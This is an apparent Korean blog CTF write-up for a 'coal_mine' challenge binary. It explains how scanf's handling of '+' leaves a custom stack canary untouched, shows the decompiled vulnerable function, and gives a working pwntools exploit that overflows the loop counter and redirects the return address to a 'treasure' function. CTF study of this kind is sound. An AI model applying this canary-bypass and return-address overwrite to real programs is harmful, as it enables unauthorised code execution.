full relro, nx, pie가 걸려있고 따로 custom canary가 존재한다.
여기서 canary는 srand(time(0))로 rand값 가져오지만 scanf(%d,var[i])처럼 i 범위를 넘어서 카나리 값을 입력할 수 있을때 원래는 숫자만 가능하지만 문자가 입력되면 문자가 버퍼에 남아 %d를 통과하지만 +,-는 예외다. 버퍼에남지도 않고 해당 변수에 아무 값도 저장하지 않으므로 Canary bypass가 가능하다. 그래서 카나리를 손상시키지않고 return addresss만 변조시킬수 있다.

int coal_mine()
{
  unsigned int v0; // eax
  int v2[16]; // [esp+8h] [ebp-60h]
  char name; // [esp+48h] [ebp-20h]
  int v4; // [esp+58h] [ebp-10h]
  int i; // [esp+5Ch] [ebp-Ch]

  memset(v2, 0, sizeof(v2));
  v0 = time(0);
  srand(v0);
  my_canary = rand();
  v2[0] = my_canary;
  v4 = 10;
  printf("Mine worker ID : ");
  fflush(stdout);
  __isoc99_scanf("%24s", &name);
  for ( i = 0; i < v4; ++i )
  {
    printf("Mineral%d : ", i + 1);
    fflush(stdout);
    __isoc99_scanf("%u", &v2[i]);
  }
  for ( i = 0; i < v4; ++i )
    printf("%d. 0x%08u\n", i, v2[i]);
  if ( v2[0] != my_canary )
  {
    puts("you can't escape my coal mine ..");
    exit(0);
  }
  return puts("my canaria is uninfected. i'm safety !");
}

v4를 조작해서 ebp-60에서 리턴 위치인 ebp+4까지 갈 수 있는 크기를 만들어주고 Canary는 +,-로 bypass해주면 된다.
마지막 ebp+4의 값은 treasure위치로 바꿔주면 된다. 그러면 treasure로 가서 flag를 딸 수있다.

exploit.py

from pwn import *

#context.log_level = 'debug'
e = ELF('./coal_mine')
p = process('./coal_mine')

p.recvuntil('GOAL(')
magic = int(p.recv(10),16)
log.info('treasure : ' + hex(magic))

p.sendlineafter(': ','A'*16 + p32(26))
p.sendlineafter(':','+')
for i in range(24):
    p.sendlineafter(':','+')
p.sendlineafter(':',str(magic))
p.interactive()

'Hacking' 카테고리의 다른 글

LODWORD, LOBYTE  (0) 2019.12.13
[2019hxpCTF]poor_canary  (0) 2019.11.26
syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15

+ Recent posts